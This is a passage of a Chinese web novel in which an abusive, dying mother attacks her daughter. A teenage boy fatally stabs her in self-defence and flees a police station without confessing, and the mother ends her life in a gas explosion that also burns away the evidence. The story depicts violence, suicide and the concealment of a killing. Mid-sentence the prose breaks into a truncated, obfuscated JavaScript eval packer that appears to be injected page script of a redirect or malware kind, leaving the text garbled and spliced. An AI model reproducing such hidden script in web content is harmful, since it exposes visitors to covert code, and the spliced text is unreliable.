邹婷不由分说地揪着头发将楚遇拉起,连续几个耳光狠狠扇过去,尖厉的质问伴随着巴掌声在屋内炸响:“你和他干什么了?!你们干了什么见不得人的事?!那小子凭什么送你这种东西?!说啊,说啊——!!” 楚遇被打得偏过头,脸颊迅速红肿,痛苦地呛咳着,努力辩解:“只是个纪念品......妈,我们什么都没做......真的......妈......” 邹婷充耳不闻。她的嘴角怪异地向上咧开,形成一个惊悚的弧度,双眼圆睁,在昏暗的光线下泛着一种近乎非人的、狂热而浑浊的精光。 “啊......我知道了......我知道了!”她声音陡然拔高,沉浸在自己编织的恐怖图景里无法自拔,继续癫狂地自语:“你们约好了......要一起跑是不是?!丢下你快死的妈,好跟那小子远走高飞,是不是?是不是——!!” 长久以来的隐秘阴霾化作了灭顶的恐惧,混合着身体内部日夜不休的绞痛与衰败,在这一刻,终于熔断了邹婷脑中最后的弦。她喘着粗气,胸口剧烈起伏,颤抖的手摸索着抓起地上那条冰冷的金属项链,链身在昏暗中划过一道黯淡的弧光,朝着女儿的脸狠狠挥去—— “啊——!”楚遇发出一声短促的尖叫,下意识抬起手臂护住头脸。 实心钢制成的链绳带着风声抽在她细瘦的胳膊上,剧痛瞬间炸开,让楚遇眼前一阵发黑,整个手臂都被短暂麻痹,一时失去了所有反抗和躲避的能力。 邹婷对此毫无知觉,手臂再次扬起,链坠在空中晃动。然而这一次,在下落的轨迹完成之前,一只手猛地从后方伸出,死死抓住了那枚日月纠缠的图腾吊坠。 邹婷狂暴地扭头,对上了迟昼那张布满冷汗、惨白如纸的脸。少年浑身都在剧烈颤抖,牙齿格格作响,右手却死死攥住了项链的吊坠部分,指缝间有温热的液体缓缓渗出。 邹婷从喉咙里挤出一串断续的、令人毛骨悚然的狞笑:“好......好......”随后她不再看向迟昼,只是凭借着一股源于生命末期的、可怕的蛮力,拼命要将项链夺回,再次砸向身下的女儿。 那垂死挣扎般的爆发力出乎意料地大,让身量已然不矮的迟昼也是一个趔趄,险些扑倒。链身在空中危险地晃荡,几乎要擦过楚遇的眼睛,吓得她发出更为凄厉的尖叫,拼命扭动身体向后缩。 那充满极致恐惧的尖叫像一根冰锥,刺入了迟昼耳中。他一个激灵,再也顾不得其他,闭上双眼开始不管不顾地向后拽。脑子里只剩了一个念头——不能再让楚遇受伤了。 迟昼不知道这场噩梦般的角力到底持续了多久,也许只有几秒,但时间在尖叫、喘息和血腥味中被扭曲拉长。他始终没有松手,直到楚遇一声带着哭腔的惊呼刺破混乱: “阿昼——松手!!” 迟昼猛地睁开眼,却被眼前的景象惊地一颤。 邹婷仍死死抓着链绳的另一端不肯松手。然而在方才盲目的、全力的拉扯中,整条项链已被扯直,不知怎地竟滑脱、回环,套过了邹婷头顶,此刻正紧紧勒在她脖颈上——迟昼向后拽,她抓着前端不放,力量不济之下,反而被那绷直的钢链陷入了皮肉。 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片刻之后,她忽然动了。动作僵硬却目标明确,两步跨到茶几旁,枯瘦的手一把抄起了那个沉甸甸的、铁皮外壳的老式开水瓶。 “妈——!”楚遇率先从恐惧中惊醒,扑上前想抱住母亲的胳膊。 邹婷那副被病痛和疯狂侵蚀得残破不堪的身躯,此刻却爆发出一种反常的、回光返照般的灵敏与蛮力。她猛地转身,将开水瓶坚硬的底部狠狠顶在楚遇胸口。 “呃!”楚遇闷哼一声,被这突如其来的重击打得向后倒退,胸口一阵滞闷的剧痛,一时间呼吸困难,蜷缩着身体蹲在墙角,半天缓不过气。 邹婷看也没看倒在地上的女儿。她缓缓转过头,睁着那双布满血丝、空洞得仿佛能吸走所有光线的眼睛,拎着沉重的开水瓶,一步,一步,朝着紧贴墙壁的迟昼,缓慢而稳定地逼近。 脚步声在死寂中显得格外清晰,每一步,都踩在了迟昼濒临崩溃的神经上。那瘦骨嶙峋的身影,此刻俨然化作了实质的梦魇。 迟昼抖得如同秋风中的落叶,后背紧贴着冰冷的墙面,双腿发软,只能沿着墙壁一点点横向挪动,试图拉开距离,后腰却“咚”地一声撞上坚硬的餐桌边缘,宣告着退路已绝。 极致的恐慌中,他双手胡乱地向身后的桌面摸索,指尖忽然碰到一个冰凉的金属物件。他想也没想地一把将其握在手中,双手举到身前,颤抖地对准了步步逼近的邹婷,声音哆嗦得几乎不成语调: “别......别过来!” 邹婷的脚步果然顿住了。 几秒令人心脏停跳的沉默后,她忽然发出一串嘶哑、断续,如同夜枭般的尖笑: “呵......小子......你想杀我?” 迟昼一愣,在极度的混乱中下意识低头瞥去—— 黑暗中,一抹冷硬锐利的光泽刺痛了他的双眼。 握在他颤抖双手中的,赫然是一把闪着寒光的细长厨刀。刀刃在窗外渗入的微光下,反射着令人心胆俱寒的幽芒。 迟昼手腕一软,刀尖几乎垂下,但下一秒,对眼前这个疯狂女人的恐惧又压倒了一切。他再次用尽力气将刀子举高,颤抖着竖在身前,带着哭腔重复: “别过来......求求你别过来......” 身形瘦弱、形容枯槁的邹婷,面对着一个手持利刃、血气方刚的少年,眼中却没有丝毫畏惧。她嗤笑一声,仿佛觉得无比滑稽,依旧拎着那沉重的开水瓶,继续向前缓慢挪动,同时用柔得令人毛骨悚然的语调轻轻呢喃: “你觉得我虐待她,想杀了我泄愤......是吗?” “不!不是的!”迟昼疯狂摇头,眼泪不受控制地涌出,“你不要再过来了.....放下.....放下瓶子......求你了......” 邹婷对他的哀求充耳不闻。她咧开嘴角,露出森白的牙齿,仍在一步步缩短那致命的距离,梦呓般继续着她的审判: “你觉得杀了我,她就解放了,就能带她远走高飞了......是这样吗,小子?” 迟昼双手紧握着刀柄,指节捏得发白,却控制不住那剧烈的颤抖。他背靠着紧贴墙壁的餐桌,缩在狭小的角落里,已经退无可退。 眼前,只剩下那张疯狂的憔悴面孔,和那不断迫近的开水瓶轮廓。 “你想都别想——”几乎已经贴到面前的邹婷,声音沙哑得像砂纸磨过铁皮。话音未落,她已骤然暴起,抡起沉重的铁皮开水瓶,带着风声朝着迟昼拦腰横扫过去:“她是我的——!!!” 迟昼惊骇之下本能地扭身闪躲,猛地向侧面扭身,开水瓶冰凉的铁皮外壳擦着他的髋骨狠狠砸在墙壁上,发出“咚”的一声闷响,墙皮都簌簌落下。 一击不中,邹婷的疯狂已达顶点。她喉咙里发出非人的嚎叫,双手再次托起开水瓶,用尽全身残存的、病态的力气,朝着迟昼的脑袋狠狠顶撞过去。 退无可退,避无可避,迟昼已吓得肝胆俱裂,紧紧闭上了眼睛。黑暗降临的瞬间,求生的本能彻底接管了身体,他也同样发出一声嘶哑破碎的呐喊,双臂随着身体蜷缩而无意识地、胡乱地向前一推—— “噗嗤。” 一声轻微、却异常清晰的......利刃刺入软物的闷响。 紧接着是“砰”的一声震动,开水瓶彻底脱手,重重砸在地上。 两声响动几乎重叠,却又微妙地错开,在死寂之中,刻下了截然不同的印记。 那一刻,世界仿佛被按下了静音。 迟昼大脑一片混沌的空白,什么也无法思考,不知道自己做了什么,也不知道发生了什么。 他紧紧闭着眼,僵在原地,不知过了多久,直到冰冷的恐惧重新渗入四肢百骸,才终于颤抖着、极其缓慢地,将眼睛睁开一条细缝。 面前,是邹婷那张扭曲、苍白、布满汗珠的脸,近在咫尺,几乎贴上了他的鼻尖。 可那双刚刚还布满狂暴血丝的眼睛,此刻却有些失焦,瞳孔微微扩散,直勾勾地看着他,里面翻涌的狂暴不知何时已彻底褪去,只剩下一种空洞的、令人毛骨悚然的寂灭。 她的嘴唇微微张开,发出如同破旧风箱漏气般粗重而断续的喘息,每一次抽气,都带着粘稠的颤音,愈来愈弱、愈来愈弱。 邹婷踉跄着向后倒退了两步,身体摇晃得像风中残烛。她一只手死死按着自己的腹部,另一只手在空中无意识地、凌乱地挥舞抓挠,仿佛想抓住什么支撑。 手指先是胡乱地扒上餐桌边缘,却因沾染了湿滑粘腻的液体而抓握不住,徒劳地划出一道湿痕。她失去了平衡,身体歪斜,又企图抓住旁边椅子的靠背,却因为用力过猛,反而一把将椅子带翻。 “滋啦——” 椅子倒地,发出刺耳的刮擦声。 她自己也随着这股力道猛地向后仰倒,重重摔落在冰冷的地面上,发出一声闷响,再无动静。 黑暗、死寂,再度降临。 直到这时,迟昼才重新开始呼吸,却是短促、破碎、完全无法控制的急促喘息。意识像潮水般一点点涌回,随之而来的,是手掌上清晰的、无法忽视的感官反馈—— 温热。黏腻。湿滑。 他整个人都僵硬了,脖子像是生了锈的机械,极其缓慢地、一寸一寸地低下头,看向自己的双手。 光线太暗,看不真切。 但原本在黑暗中反射着窗外微光的冰冷刀刃,此刻却一片沉黯,仿佛已被什么浓稠的东西彻底包裹、吞噬了光泽。 在这一刹那,他的呼吸彻底停滞。而心脏,却在胸腔里开始了疯狂到几乎要炸裂的、无声的暴跳。 厨刀从他完全脱力的指间滑落,掉在地上,发出清脆却令人心悸的声响。 迟昼颤抖着,如同帕金森患者般,极其艰难地将两只手掌摊开,举到眼前。 他死死地盯着,瞳孔在黑暗中缩成针尖。 在窗外透入的、极其微弱的光线下,掌心那一片浸染的、红到发暗发黑的黏腻,刺目得令人作呕。 血。 迟昼彻底愣住了。 整个世界,连同时间本身,仿佛都在这一片粘稠猩红的视野里,凝固成了永恒。 34.叁拾肆 另一边,摔倒在地的楚遇终于从胸口那阵窒息的剧痛中缓过气来。她挣扎着,手脚并用地爬到母亲身边,眼前却一片昏暗,看不清细节,只觉母亲一动不动,心里慌乱,声音发颤:“妈?妈你怎么了?你说话啊......” 她伸出手,却又不敢触碰,悬在半空微微发抖。 客厅里漆黑一片,死寂无声。 楚遇不知道发生了什么,心中那不祥的预感却越来越重。她终于鼓起勇气,伸手轻轻推了推母亲的肩膀,又晃了晃她的手臂。 毫无反应。 一股冰冷的恐慌猛地攥紧了心脏。她连滚带爬地冲到墙边,“啪”地一声按亮了顶灯。 昏黄的光芒泼洒下来,照亮了客厅的每一个角落。 以及,地上那幅令人魂飞魄散的画面。 邹婷无声无息地躺着,面庞正在以肉眼可见的速度失去血色。那只按在腹部的手,指缝间正不断渗出浓稠的、暗红色的液体,慢慢浸透了单薄的衣衫,在地面上洇开一滩不祥的深色。 楚遇的呼吸骤然停止,全身的血液仿佛逆流。她极其缓慢地抬起头,目光越过这片猩红,投向了墙边那个身影。 少年仍呆呆地站在原地,像一尊凝固的雕像,可浑身都在无法控制地打着摆子,双手无意识地举在胸前,掌心向上——沾染着同样触目惊心的、暗沉黏稠的红。 他正绝望地、空洞地回望着她,眼神里除了无边的恐惧,只剩下濒临崩溃的无助。 大脑一片空白,耳中嗡嗡作响,但这极致的冲击只让楚遇失神了短短几秒。她狠狠用袖子抹了一把瞬间被泪水模糊的眼睛,踉跄着扑回母亲身边。 手指颤抖着探到母亲鼻下——没有感受到丝毫气息。 她又俯身,将耳朵紧紧贴在母亲胸口——一片死寂,只有她自己狂乱的心跳,在耳中擂鼓般轰鸣。 最后一丝侥幸也被彻底碾碎。楚遇颓然抬起头,脸色煞白如纸。 迟昼仿佛被这个动作惊醒了。他看着楚遇眼中那片沉痛的死灰,终于迟钝地理解了什么。 他颤抖着放下那双血迹斑斑的手,试图向邹婷走去,可双腿软得如同棉花,刚迈出一步就险些摔倒,不得不伸手扶住旁边的餐桌。 一串清晰的血手印,烙在了冰冷的桌面上。 他停在几步之外,不敢再靠近那个逐渐冰冷的躯体,胸口剧烈起伏,试图平复呼吸,可开口时声音依旧破碎不堪,带着无法抑制的哭腔和战栗:“我......我不是故意的......我真没想......我不知道......” 楚遇依旧呆呆地跪坐在母亲身边,眼神空洞,仿佛灵魂已经飘离。过了许久,她才像从一场漫长的噩梦中勉强挣脱,抬起头,看向那个摇摇欲坠、仿佛随时会碎裂的少年。 她撑起身子,试图像往常那样,给他一个安抚的笑容。可红肿刺痛的脸颊和内心翻天覆地的崩塌,却让这个无比熟悉的简单动作屡屡失败。最终,她放弃了,只是用同样颤抖的声音,艰难地挤出字句: “我知道......我看见了......你......你是想保护我......” 迟昼混乱地点头,又猛地摇头,忽然像是抓住了一根救命稻草:“我......我叫救护车!对,叫救护车!”他慌乱地转身,目光在昏暗的屋内四处搜寻,“电话......电话在哪?你家电话......” 楚遇没有回答。她怔怔地望着母亲越来越苍白、仿佛正在逐渐融入冰冷地面的脸,一滴滚烫的泪终于挣脱了束缚,重重砸落。她听见自己轻声开口,声音却飘忽得像一缕烟: “来不及了。” 迟昼忙乱翻找的身影僵住。 他开始摇头,起初很轻微,随即幅度越来越大,越来越疯狂,泪水汹涌决堤,混合着无尽的悔恨与后怕。他语无伦次地哽咽了半晌,随后忽然抬起头,通红的眼里迸出赎罪般的、绝望的坚定: “我去自首。” 楚遇仍处于巨大的冲击与混沌之中,一时未能理解这句话的含义,只是呆呆地看着他。 迟昼却在说出这句话后,奇异地从崩溃的边缘获得了一丝清醒。他重复着,声音嘶哑却异常清晰:“我去自首。现在就去。” 说完,他不再看她,转身便朝大门走去。脚步起初依旧虚浮踉跄,但随着距离的拉远,却越来越快,越来越急。 迟昼的手触到冰凉门把的那一刻,楚遇才终于从麻木中惊醒。这一刻,一个冰冷的、足以冻结她所有血液的念头,忽然如同闪电般劈入脑海—— 法律、后果......年龄。 “阿昼——不能去!!” 她失声尖叫,从地上弹起,跌跌撞撞地扑向门口。 可迟昼已经拉开了门。夜风灌入,吹散了楚遇凄厉的呼喊。 像是要将所有恐惧、罪恶和身后的惨剧统统甩掉,他一头扎进了浓稠的夜色,开始狂奔。起初脚步还有些磕绊,但很快,速度便越来越快,仿佛只有耗尽所有力气,才能逃离这片吞噬一切的噩梦。 楚遇终于追到门边,却只看到他消失在巷口的背影。极致的恐惧与焦急让她不顾一切,用尽全身力气,朝着他消失的方向嘶声大喊: “阿昼——!你晚上学一年——!!” 奔跑中的迟昼隐约听到了呼喊,但混沌的大脑和滔天的罪恶感让他已经无法处理任何信息。他只是更加拼命地奔跑,唯独剩下一个念头: 跑。去该去的地方。结束这一切。 他从小体育就不好,可这个傍晚,双腿却像灌入了不属于他的力量。肺叶火辣辣地灼烧着,仿佛下一刻就要炸开,可他却不曾停下,只是将呼吸压成急促的喘息,机械般地快步疾走,直到那栋肃穆的建筑闯入视野—— 河溪镇派出所。 迟昼像是终于抓住了一根浮木,用尽最后的气力,猛地冲进那扇玻璃门。 深夜的派出所大厅,只亮着几盏惨白的白炽灯,光线冷清而稀疏,将空旷的值班区照得一半明亮一半晦暗。 他一头撞进这片光影,第一眼,就看见了墙上那枚巨大的、庄严的警徽。 金属徽章在微光之下,反射着冰冷坚硬的色泽。 在这一瞬,一路奔逃中被恐慌碾碎的理智,骤然惊醒。 楚遇刚才追在后面、带着哭腔的喊话,如同延迟的回声,在他混沌的脑中开始清晰起来,每一个字都重若千钧,砸得他头晕目眩。 他晚上学一年。就在不久前,生日已悄无声息地过去了。从法律意义上讲......那层名为“未成年”的缓冲保护,已经在他毫无察觉之时,悄然又彻底地消散。 在这进退维谷的灰暗时刻,迟昼绝望又清晰地抓住了那个曾经期盼已久的渴求。 长大......成人。 但此刻,这个念头是如此沉重,冻得他浑身发僵,再也无法向前一步。 值班台后,一个穿着警服的年轻身影抬起头。那是一张略显疲惫,却已初现冷硬线条的面孔。 警员探出半个身子,打量着他:“同学,什么事?” 这平静的一问,却像一盆冰水,将他胸腔里那点凭借狂奔积蓄起来的、虚妄的勇气,彻彻底底地浇灭。更深层的,对“坐牢”、对“法律制裁”的终极恐惧,此刻尽数翻涌上来,扼住了他的喉咙。 不能说。绝对不能说。 望着那年轻警员肃然的双眸,迟昼心里只有一个念头—— 万幸......他今天穿了黑色的衣服。 万幸......在进门时,他的手一直死死插在口袋里。 他在原地僵立了几秒,然后猛地摇了摇头,一个字也没有说,随后骤然转身,朝着来时那片浓重的黑暗,跌撞着狂奔而去。 桌后的年轻警员明显愣住了,站起身:“哎——!” 他下意识抬步要追,刚到门口,里间却走出一个年纪稍长的警察,看他站在门口,皱了皱眉:“小严,前天那个纠纷的报告,写完了没?” 年轻警员脚步一顿,回过头,脸上闪过一丝窘迫和为难。他本就不善言辞,也不清楚那少年究竟为何而来、又为何而逃,一时语塞,不知该如何向上级解释这莫名其妙的一幕。 领导摆了摆手,语气里带着些许不耐:“赶紧把报告写了,别整那些有的没的。” 年轻警员张了张嘴,最终还是把话咽了回去,低声应了句:“是。” 他最后望了一眼门外——那个瘦削的身影早已消失在茫茫夜色深处,街巷空旷,只剩路灯投下的孤独光晕。 年轻警员按下满腹疑惑,摇了摇头,缓缓转身走回值班台后,在那片惨白的光线里重新坐下,拿起了笔。 ———————————— 楚遇徒劳地望着迟昼跑远的背影,想去追,脚下却像生了根。 屋里是死寂的静,门外是空洞的夜。她最终还是退了回去,关上门。 楚遇背靠着冰凉的门板,身体缓缓下滑。她坐在门边,怔怔地看着屋内的一切。 时间久了,连恐惧都淡了,只剩下一种茫然的空。 心好像被掏走了,此刻却连疼痛都感受不到。 她慢慢挪到母亲身边,蹲下,又站起,不知道自己要做什么,不知道自己能做什么。目光飘来飘去,最后落在那把染血的刀上。 像是找到了指令,楚遇慢慢走过去,捡起刀,走到水池边,打开水龙头。水哗哗地冲,血丝打着旋儿地消失,刀身又变得干净、冰冷,仿佛什么都未曾发生。她把刀擦干,收好,做完这一切,又愣愣地站在那里。 水流声停了,世界又回到了那种巨大的、空茫的寂静里。 她走回客厅中央,环顾四周。这个承载了她所有痛苦、卑微期待和零星温暖的地方,本已熟悉得刻进了血肉,此刻却陌生得如此可怕。 墙、窗、家具,一切都仿佛罩上了一层灰蒙蒙的、不真实的膜。她像个被遗忘在舞台中央的演员,灯光熄灭、观众散去,只剩她自己,不知该如何退场。 接下来,怎么办呢。 心里空落落的,没有翻江倒海,没有天崩地裂。可脸上好像有点凉,她抬手一摸,指尖已是一片潮湿。 眼泪不知什么时候流下来的,无声无息,自顾自地淌,仿佛身体里有个装满苦水的容器悄悄破了,而自己却毫无知觉。 楚遇怔怔看着指尖的水光。在这一刻,心里某种东西无比清晰地“咔哒”一声,断了。 那东西,名叫“未来”——她和阿昼曾在无数个灰暗的日子里,对着窗外那广袤的天空,描绘过的“以后”。 可现在,什么都没有了。 她的母亲不在了,她的阿昼自首了。世界仿佛在刹那之间陡然倾斜,将她孤零零地抛在了废墟之上。 前路?好像没有。身后?尽是灰烬。 她好像悬浮在了时间的断层里,无根无萍、上下皆空。 视线再次漫无目的地游移,扫过杂乱的地面,斑驳的墙壁,最后,停在了厨房门边那个灰蓝色的煤气罐上。 它已沉默地立在那里不知多久,敦实、笨重,毫不起眼。 一个轻飘飘的念头,从空茫之中浮了上来。不是悲愤的控诉,不是绝望的嘶喊,简单的没有重量。 ——那就一起走吧。 把这一切纠缠的、破碎的、再无指望的,全部付之一炬,再不留痕。 那铁罐光秃秃的表面,忽然开始折射幽暗的、蛊惑的光。 楚遇不清楚自己是否真的明白自己在做什么。意识浮沉,等她再度抓住一丝实感时,那个沉重的煤气罐已被拖到了客厅中央,而阀门,正冰凉地硌在掌心。 脚边的地上,静静躺着一盒火柴。 火。 她的大脑迟钝地转动着。火焰,或许能清扫所有痕迹——墙边的、桌上的、记忆里的。这样,她的阿昼......或许还能从这摊血污里干干净净地脱身,走回那条本该属于他的、带着光亮的路。 真的......可以吗? 她不知道。她不敢深想。脑海之中,只有一片白茫茫的噪音。 她开始拧阀门。 阀门好像锈住了,很紧。楚遇感觉不到自己是否拧动了它,只是机械地重复着拧转的动作。几次之后,她忽然放弃了,张开双臂,整个身体前倾,抱住了那个冰冷的、坚硬的铁罐。 眼泪还在流,却依旧悄无声息,仿佛是她身体里唯一还在运作的东西。 寂静淹没了所有,只有自己轻得几乎不存在的呼吸,和渐渐爬上太阳穴的、沉闷的胀痛。她昏昏沉沉地想,大概......拧开了吧。 楚遇收紧了手臂,闭上了眼睛。怀里是沉重的铁罐,背后是无声的母亲。 她就在这一前一后的寂灭之间,静静地等待。 意识如沉船般缓缓下坠,单调乏味的过往开始倒带——稀疏的、灰白的、无声的。只有两张脸交替闪现,如同坏掉的幻灯机:母亲狰狞的嘶吼,迟昼沉默的陪伴;咒骂,静坐;摔碎的碗,递过来的饼干......下一秒画面又迅速切换,变成母亲温柔的呢喃,和迟昼清晰的讲题声。 她的人生太短了,连在这赴死的混沌边缘,都酝酿不出一种清晰的情绪。她甚至辨不清自己心头的那片麻木,究竟是悲、是空。 “小遇......” 恍惚中,楚遇听见了母亲的声音。不是尖锐的,不是癫狂的,是那种在记忆里几乎褪尽了色的、温柔低缓的呼唤。 真暖和啊。她无意识地将脸颊贴近冰冷的铁罐,仿佛那是母亲曾经温暖的掌心。 “小遇......” 那声音再次响起。更轻,也更真实,带着一种......虚弱的穿透力。 楚遇倏然睁眼,猛地回头—— 地上,邹婷正望着她。 也许是迅速失血后的短暂昏厥,也许是濒死前身体的欺骗性沉寂,也许仅仅是因为楚遇试探时的慌乱和毫无技巧——此刻,邹婷竟又睁开了眼。腹部的伤口已不再涌血,暗红在手边凝固成一片阴影。脸色惨白如纸,每一次呼吸都微弱得几乎看不见胸膛起伏。 可那双眼睛,却前所未有的明亮、澄澈。 过往所有的浑浊、暴戾、疯癫,像被这场死亡危机骤然洗去,只剩下罕见的清明。她看着女儿,看着女儿怀里冰冷的物件,目光扫过放在阀门上的手,扫过地上的火柴——瞬间,便什么都明白了。 楚遇彻底愣住了,好几秒后,身体才如梦初醒般猛地一颤,手忙脚乱地去关阀门。拧反了?拧不动?她不知道,只是指尖冰冷又僵硬。 “小遇......”邹婷又唤了一声,声音轻得像叹息。她没有再看阀门,而是用尽力气撑起身体,一点一点,挪到了楚遇身边。染血的手抬起,轻轻地、坚决地,覆在了女儿颤抖的手上。 那不是濒死者回光返照的虚妄,而是一种用尽最后生命力点燃的、无比清醒的决然。 楚遇僵住了,缓缓转回头。 习惯性的恐惧涌了上来,她想说“对不起”,想说“我们不是故意的”,可喉咙却被什么死死堵住,词句在舌尖全部冻结。 邹婷望着近在咫尺的女儿,目光穿透她的泪水和恐惧,直直看进那迷失的眼底。 楚遇脑子像被塞满了湿透的棉花,又沉又懵。她僵着身体,等着预料中的责骂、尖叫,或是更糟的东西。 然而没有。只有一声极轻、极缓的叹息,拂过了死寂的空气。 “小遇......”母亲的声音传来,虚弱,却异样地平稳清晰,带着一种她只在梦中幻想过的、尘封已久的温柔:“离开这儿......好好活下去。” 楚遇浑身一颤,缓缓抬起头。她没什么激烈的反应,泪水却骤然模糊了视线。 在这样近的距离里,她终于看清——母亲眼底没有了癫狂、戾气,没有了怨毒、恐惧。那里,只剩一片即将熄灭的灰烬,却奇异般地被最后的理智吹拂得异常干净、透亮。 在这生命逐渐流逝的最后时光里,折磨了邹婷半生的迷雾,仿佛被一阵狂风骤然吹散。如同被风暴肆虐了太久的海面,在沉入永夜之前,终于映出了一丝澄澈的月光。 浑浊的视线落在女儿脸上,过往如劣质电影般寸寸浮现——家人决绝的背影、楚正山温和的微笑、楚怀平笨拙的照顾......长椅上被遗弃的襁褓、女婴发紫的小脸、摇摇晃晃扑向自己的小身体、牙牙学语时那声含糊的“妈妈”...... 最终,画面定格在眼前这张脸上——和她并不相像,却出落得别样柔美。 可那上面......正被一层日益厚重的、灰蒙蒙的绝望侵蚀。 邹婷深深望着面前的少女,想抬手摸摸她的脸,可捂腹的手不敢松,撑在煤气罐上的手也不能移。她只能急促地喘息,用尽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“别让他......有机会抛弃你。” “在那之前......你要先离开他。” “一定一定......别像妈妈一样。” 她低低叹出一口气,像是耗尽了最后一点心力:“走吧,小遇,走吧......” 楚遇只是哭,抱着母亲一动不动。 邹婷眼底的清明开始摇晃、碎裂。她的声音陡然拔高,变回了那种熟悉的、尖利而破碎的调子:“走......走啊!滚!滚出去——!” 她猛地低下头,一口狠狠咬在女儿肩头,牙齿深深陷进皮肉,含糊地呢喃着什么,不知是恶毒的咒骂,还是劝慰的驱逐。 尖锐的刺痛穿透了悲伤,楚遇浑身一颤,终于松开了手,从那短暂得如同幻觉的温暖怀抱里抽离出来。 她瘫坐在地上,像被剥去了所有甲壳的软体动物,赤裸地暴露在冰冷的空气里,所有的防御都已崩塌,只剩最为原始的本能还在运作——流泪,无止境地流泪。 楚遇开始一点点地后退,手脚并用,眼睛却死死盯着前方,盯着那个取代了她、重新抱住煤气罐的佝偻身影。 她要记住,把这一刻、这个人,用视线刻进记忆的最深处,哪怕那里......早已伤痕累累。 邹婷低着头,散乱的头发遮住了脸。她没有动,只是从喉咙深处挤出粗重断续的喘息,发出了最后的嘶喊:“滚!滚——!” 随即,像是燃尽了所有,那声音陡然跌落,化为一声几不可闻的、轻柔的呢喃: “......不要回头。” 楚遇退到了门边,冰凉的门把已硌进掌心,她颤抖着握住,借力踉跄站起。 她站在那狭窄的明暗交界处,最后一次望了进去——模糊的泪眼里,那个身影匍匐在客厅中央,只有小小一团,仿佛已与铁罐融为一体。 楚遇再也承受不住。 一声压抑到极致的嘶吼从喉咙深处迸出,不似人声,更像濒死动物最后的哀鸣。她猛地转身,跌撞着冲进浓稠的夜色,放声痛哭。 门,在身后轻轻合拢。 锁舌轻响,彻底隔绝了两个世界。 直到此刻,瘫坐在地的邹婷才终于极其缓慢地抬起头,望向那扇紧闭的门板。 眼底那些经年累月沉淀的愤怒、癫狂、恐惧与不甘,像被一块无形的海绵吸得干干净净,只留下一片空旷的、近乎透明的平静。 按在煤气罐上的那只手开始用力,枯瘦的指节逐渐泛白。 阀门起初纹丝不动,随即在那股源自燃烧生命的决绝力道之下,开始发出艰涩的摩擦声,缓慢又坚定地被逐渐旋开。 她松开手,捂着腹部,用肘部支撑着,一点一点挪到了门边,抬手,扣上了锁。 做完这一切,她背靠着冰凉的门板滑坐下来,缓缓环视这个她生活了半辈子的“家”。 这里,曾经有过三个人。也许......本可以有第四个、第五个。 如今,却只剩下一室挥之不去的刺鼻气息、浓得化不开的死寂,和一个......终于走到尽头的女人。 邹婷能感觉到,生命正从腹部的伤口和衰败的胃袋里汩汩流出。她咬着牙,拖着身体,再次一寸寸挪回那个冰冷的铁罐旁。视线已经开始晕染、模糊,但她还是准确地在冰冷的地面上,触到了那个小小的、方方的硬纸盒。 火柴。 她颤抖着摸出一根,紧紧攥在枯瘦的指间。粗糙的磷头抵着掌心,传来细微的、真实的触感,仿佛直到此刻,才终于握住了那个从未真正拥有过的、渴望了一生的锚点。 邹婷向后靠去,脊背贴上煤气罐冰冷坚硬的弧面。最后一眼,望向了这个承载了所有幸与不幸的牢笼。目光扫过每一件熟悉的旧物,却已没了留恋,只剩一片空洞的淡然。 她阖上了眼。 黑暗从内里涌上,温柔地包裹住她。体内的疼痛、寒冷、虚弱,仿佛都在渐渐退远,变成了一种漂浮的、失重的幻觉。她在纯粹的黑暗之中起起伏伏,不知时间,不问方向。 邹婷不知道自己在等什么,也不知道自己究竟等了多久。 一生乏味沉痛的走马观花?一点可悲的、对尘世的最后贪恋? 或许什么都没有。只是在将残存的意识缓缓收束,试图凝聚成最后一点力量。 意识的最后浅滩上,浮现的不是楚正山慈和的笑,不是楚怀平温热的唇,也不是楚遇娇小的脸。 而是一个陌生的、模糊的、属于女人的轮廓。是那个为了带她来到这世上......付出了生命的女人。 可她甚至......未曾见过她的模样。 一丝极淡的、难以辨认的情绪,像水底的气泡,轻轻浮起,又悄然破裂。 邹婷的嘴角极其轻微地牵动了一下。那是一个模糊的、近乎虚幻的弧度,像极了她的女儿时常会露出的,那种安静到脆弱的笑容。 楚遇。楚遇。 在几乎将她淹没的昏沉与痛楚中,一个念头悄然浮现—— 那真是她......幻梦般的女儿。 邹婷捏住手中细小的火柴,将磷头抵上了粗糙的地面。 “嗤——” 第一下细微的摩擦声后,什么都没发生。仿佛连上苍,在这最后一刻都兀自迟疑。 邹婷没有睁眼,只是唇角那点虚幻的弧度,更加真切了些。 手腕凝聚起生命最后的力量,向前狠狠一送。 “嗞——” 一道细小、炽烈、夺目的光芒,从她指间迸发。 它吻上了空气中那无形无味、却已无处不在的浓郁气息。跳跃的火光映亮了邹婷苍白平静的面庞,映亮了身后那扇紧闭的门,穿透了门内浓稠得令人无望的黑暗。 赤红的火焰猛地窜起,沿着看不见的轨迹开始狂奔,舔舐过墙壁、家具,蒸发了遍地流淌的血液,融化了无处不在的指纹,销毁了那个印着血手印的木桌,吞没了那个倚着铁罐的瘦弱身影。 临了的平静释然,半生的痛苦癫狂,全部都被卷进了辉煌残酷的光与热。 在这一刻,再无分别。 烈焰腾空,照亮了窗外沉凝的夜。半边天幕,逐渐被染成一片深红。 绚烂、温柔,远远看去,宛若一场盛大的火烧云。 35.叁拾伍 沉重的叙述结束了很久,客厅里依旧一片死寂。 迟昼低垂着头,一动不动。他不知道该想什么,也不知道该有什么反应。 他对楚遇的感情,太复杂了。 最初是黑暗中染了血的救赎,接着是漫长岁月里无声的陪伴,是贫瘠土壤里挣扎着向上的两根藤蔓,是对着灰蒙蒙的将来,用气声描绘出的、不敢大声说出口的“以后”。 他感激过她,心疼过她,习惯了她,亲近于她......最终,也愧对于她。 他没对宋朗说谎。漫长的少年时代里,他们从未越界半分,就连幻想,都绕过了风月。 他们干净得像被水反复洗过的石头,分享过卑微的幻想、深沉的绝望,却从未产生过所谓“旖旎”的氛围。 那份感情,比情爱更厚重、比依赖更孤独。 可这份扎根于灰暗岁月里的依偎,最终没能等来抽枝散叶、开花结果。 那一夜的大火,将它烧成了另一种形状——那是永世难消的愧疚与悔恨,随着年月沉淀,长进了他的骨血。 